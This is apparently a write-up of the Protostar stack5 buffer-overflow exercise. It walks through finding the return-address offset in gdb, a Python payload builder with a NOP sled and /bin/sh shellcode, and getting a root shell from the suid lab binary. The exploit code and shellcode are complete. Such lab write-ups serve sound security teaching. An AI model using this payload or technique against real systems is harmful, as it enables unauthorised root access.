Stack5 is a standard buffer overflow, this time introducing shellcode.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.
We will first find where the pushed eip
is located (find the offset), let’s use our alphabet string again:
(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
We see that the offset is still at TTTT
just like previous challenges, which means that the buffer size is the same, let’s set a breakpoint just before the program finishes:
(gdb) disas main
Dump of assembler code for function main:
...
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
Now we’re going run it and feed it our alphabet string again, after reaching the breakpoint let’s look at how the stack looks first:
0xbffff7ac: 0x54545454 0x55555555 0x56565656 0x57575757
0xbffff7bc: 0x58585858 0x59595959 0x5a5a5a5a 0xb7ffef00
0xbffff7cc: 0x08048232 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xadd1dd8a 0x8786cb9a
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
Now we see the address where the pushed eip
(the return address) that is filled with 0x54545454
is located, which is at 0xbffff7ac
. Now since we can write whatever we want here, we will change the return address to just point to the address after it, for example in the stack above, we will set the return pointer to the address of 0x55555555
, which is right next to 0x54545454
, since each “column” is 4 bytes, we just need to add 4 bytes to the address of 0x54545454
to find the address of 0x55555555
.
After a bit of math with hex numbers, we find the address to be 0xbffff7b0
, so let’s write this address in place of our TTTT
because this is where we want to jump to, then since we need to do something after we jump there, but we still don’t know what to do, so let’s look at some hints. Referring to the second hint, let’s try and put a \xcc
byte, a bit of googling tells that \xcc
is a trap to debugger opcode. We will be making a python script to do this:
// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\xcc"
print filler+addr+code
Now we write the payload into a file:
python payloadbuilder.py > payload.txt
Now we run it in gdb
:
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7b1 in ?? ()
Well, now we know we successfully jumped to our \xcc
, so let’s refer to the 1st hint and put in a shellcode, I found one here, let’s renew out python script then:
// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr+code
Try and run it in gdb
:
(gdb) r
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash
Program exited normally.
Looks promising, but nothing happened, so let’s try it outside gdb
:
user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack5
Floating point exception
Wow ok I have no idea why that happened, well we can always google! After a bit of that, I found this video, from there we can learn about using \x90
opcode, which is the popular NOP
operation.
So now let’s build a “NOP sled” which is just a bunch of NOP
s before our shellcode, then we are going to change our overwritten return address (the overwritten eip
) to point around the middle of all those NOP
s (around the middle of our “NOP sled”).
The reason why we need to make these NOP
s if because we don’t know if the memory addresses will be different or not, or will it change when we execute the program outside gdb
, so in order to make it still work, these NOP
s will act as “bumpers”, where if we managed to hit 1 of them, we will “slide” down the NOP
s and eventually reach our shellcode, now let’s modify out python script, we will also be using struct
to make adding hex numbers easier:
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = struct.pack("I", 0xbffff7b0+50)
nopsled = "\x90"*100
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr+nopsled+code
Don’t forget to write it into a file
python payloadbuilder.py > payload.txt
Now let’s try it in gdb
:
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash
Program exited normally.
We still successfully ran the code, let’s see if we can run it outside gdb
:
user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5
user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5
I entered the that command in the terminal but nothing happened, tried it again in gdb
, it works, I checked the contents of payload.txt
and it was right.
After watching the video mentioned before, we know some stuff:
/bin/dash
) needs some input, otherwise it would just exit|
) will close/exit after whatever is on it’s left side is done executingSo our problem is, we successfully called the shell but didn’t give it any inputs, so the shell just exits. So now we are going to use the cat
trick shown in the video.
cat
with no parameters will point it’s own stdin to stdoutcat
is on the left of the pipe, the pipe will not closecat
will coninue to wait for user input, which will then be reflected into stdout (by cat
), which will then be piped into the vulnerable programThe final payload will be
(cat payload.txt; cat) | /opt/protostar/bin/stack5
What would happen is:
cat payload.txt
will be piped into /opt/protostar/bin/stack5
spawning our shellcat
(no params) will then start to wait for user inputcat
(no params), it will be reflected out into stdout/opt/protostar/bin/stack5
which is now our spawned shellBecause we are running /opt/protostar/bin/stack5
as root, our shell is also root (there’s a long answer regarding the suid bit of the program being set, but we’ll keep it simple for now).
user@protostar:~$ (cat payload.txt; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
‹ Previous in Binary exploitation: Protostar - stack4 | Next in Binary exploitation: Protostar - stack6 › |